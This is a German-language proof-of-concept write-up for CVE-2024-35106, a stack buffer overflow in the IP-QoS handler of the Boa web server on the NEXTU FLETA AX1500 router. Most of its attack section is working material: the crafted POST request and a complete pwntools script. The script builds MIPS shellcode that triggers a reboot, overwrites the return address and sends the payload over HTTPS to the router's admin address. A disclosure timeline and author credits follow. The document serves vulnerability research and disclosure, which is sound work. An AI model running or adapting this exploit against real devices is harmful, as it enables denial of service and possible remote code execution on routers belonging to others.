Proof-of-Concept-Exploit für CVE-2024-35106, einen Stack-Pufferüberlauf im NEXTU FLETA AX1500 Wi-Fi 6 Router. Demonstriert Denial-of-Service und potenzielle Remote-Code-Ausführung durch eine präparierte POST-Anfrage an den IP-QoS-Handler des Boa-Webservers.
Dieses Dokument beschreibt, wie der Exploit am EZNET FLETA WiFI-Router mittels der Schwachstelle CVE-2024-35106 durchgeführt wurde.
[CVE-ID] CVE-2024-35106
[Hersteller des Produkts] NEXTU
[Produkt] FLATA AX1500 Wifi6 Router
[Version] 1.0.3
[Schwachstellentyp] Pufferüberlauf
Der Router arbeitet auf einer MIPS-Architektur basierend auf einem Realtek-Chipsatz und Little-Endian.
Die Router-Firmware-Version ist v1.0.3.
Dieser Router verwendet den eingebetteten Webserver Boa, dessen letzte Veröffentlichung im Jahr 2005 stattfand. Allerdings nutzt dieser Router den Boa-Webserver für den Admin-Webseitendienst, der die Firmware des Routers steuert.
Die Bedingungen, die zum Auslösen der Schwachstelle erforderlich sind, lauten wie folgt:
Ein Stack-Pufferüberlauf tritt auf, weil die Überprüfung der Bytelänge des IP-QoS-Regelnamens beim Festlegen von QoS für eine interne IP auf der Admin-Webverwaltungsseite des Routers fehlt.
Wenn die Konfigurationsanforderungsparameter für IP QoS an die Boa-Handler-Funktion formIpQoS übergeben werden, extrahiert der Handler die Bytelänge des Parameters "entry_name" und kopiert ihn mit der Funktion strcpy() in die Variable acStack_1c0.
In dieser Funktion wird die Funktion strcpy verwendet, um den Puffer zu kopieren, ohne die Puffergröße zu überprüfen.
Da die Variable acStack_1c0, die die Binärdatei des kopierten Parameters entry_name speichert, auf 16 Bytes festgelegt ist, führt die Verwendung der Funktion strcpy() – die die Größe der zu kopierenden Daten nicht begrenzt – zu einem Pufferüberlauf.
Die POST-Anfrage und die Parameter des Angriffsvektors sind wie folgt.
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
Ein Angreifer bereitet eine Binärdatei vor, die zwei Dinge enthält: beliebigen Binärcode und eine beliebige Adresse, und setzt diese in den Parameter entry_name der POST-Anfrage ein.
Daher wird die RET-Adresse, die sich im Stack-Speicher des Handlers formIpQos befindet, aufgrund eines Stack-Überlaufs mit einer beliebigen Adresse überschrieben.
(0x7f8548cc ist die Stack-RET-Adresse des Handlers formIpQoS)
Allerdings muss die Handler-Funktion normal beendet werden, daher müssen vorher 10 IP-QoS-Regelsätze gespeichert werden.
from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
Beachten Sie, dass die Ausführung dieses POC für die Schwachstelle definitiv zu einem DOS führt. Eine beliebige Remote-Code-Ausführung kann jedoch möglicherweise nicht auftreten.
Diese Schwachstelle kann für DOS-Angriffe und potentielle RCE-Angriffe ausgenutzt werden.
2024-05-16: CVE-Nummer zugewiesen - CVE-2024-35106
2024-05-16: Schwachstellen an Hersteller gemeldet
2024-06-05: Antwort zu Schwachstellen vom Hersteller
Ku In Hoe
Assistenzprof. Seonghoon Jeong (Sookmyung Women’s University)